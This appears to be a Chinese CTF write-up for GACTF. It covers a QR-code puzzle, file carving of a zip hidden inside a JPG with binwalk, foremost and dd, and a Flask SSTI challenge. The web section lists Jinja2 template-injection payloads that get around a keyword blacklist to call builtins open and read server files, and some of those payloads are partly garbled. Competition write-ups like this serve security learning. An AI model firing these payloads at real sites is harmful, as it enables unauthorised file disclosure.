GACTF
misc
簽到
給了二維碼圖 切割再拼上就行
crymisc
給了一個crymisc.docx

無法打開 用file看一下

把后綴名改成zip然后解壓
這里奇怪的是用winzip解壓會提示3.jpg受密碼保護,用360壓縮提示文件損壞,用7z命令解壓圖片為0字節


用mac自帶解壓能直接解壓出來


用binwalk分析3.jpg

有zip的結尾,猜測應該里面有壓縮包,嘗試修復
找到jpg文件結尾FF D9 后面有一串看起來是base64編碼

解碼得到壓縮包的密碼

然后在字符串后面添加zip的文件頭504B0304

再分離 用dd foremost或者binwalk都可以
binwalk -e 3.jpg
foremost -T 3.jpg
dd if=3.jpg bs=1 skip=12718 of=new.zip
得到新的壓縮包 用剛剛的密碼解壓

得到一串emoji,找了很多在線解密網站結果都不對,然后發現了以前題的writeup
https://github.com/pavelvodrazka/ctf-writeups/tree/master/hackyeaster2018/challenges/egg17
這里給了一個暴力破解codeemoji的js 自己搭起來然后解密

web
ezflask
# -*- coding: utf-8 -*-
from flask import Flask, request
import requests
from waf import *
import time
app = Flask(__name__)
@app.route('/ctfhint')
def ctf():
hint =xxxx
# hints trick = xxxx
# trick
return trick
@app.route('/')
def index():
# app.txt
@app.route('/eval', methods=["POST"])
def my_eval():
# post eval
@app.route(xxxxxx, methods=["POST"])
# Secret
def admin():
# admin requests
if __name__ == '__main__':
app.run(host='0.0.0.0',port=8080)
simple flask
繞ssti黑名單
ban了
'
{{1+1}}
....
用dirmap還掃出了console開啟了debug模式

猜測是ssti讀文件算pin碼
經過fuzz后發現mro等一系列被禁
base__和_bases_[0]沒有被禁,訪問{{""._class_._base_.__subclasses()}}

SECRET = "JpofUPvEjXWbz21ypHXW";
調用os eval system皆被禁,只存在open可以讀文件
{{"".class__._base_._subclasses_()[179]._init_._globals_.__builtins"open".read()}}
{{[].__class__.__base__.__subclasses__()[127].__init__.__globals__.__builtins__["open"]("fla".join("/g")).read()}}
發現可以直接讀flag文件了 應該是非預期吧
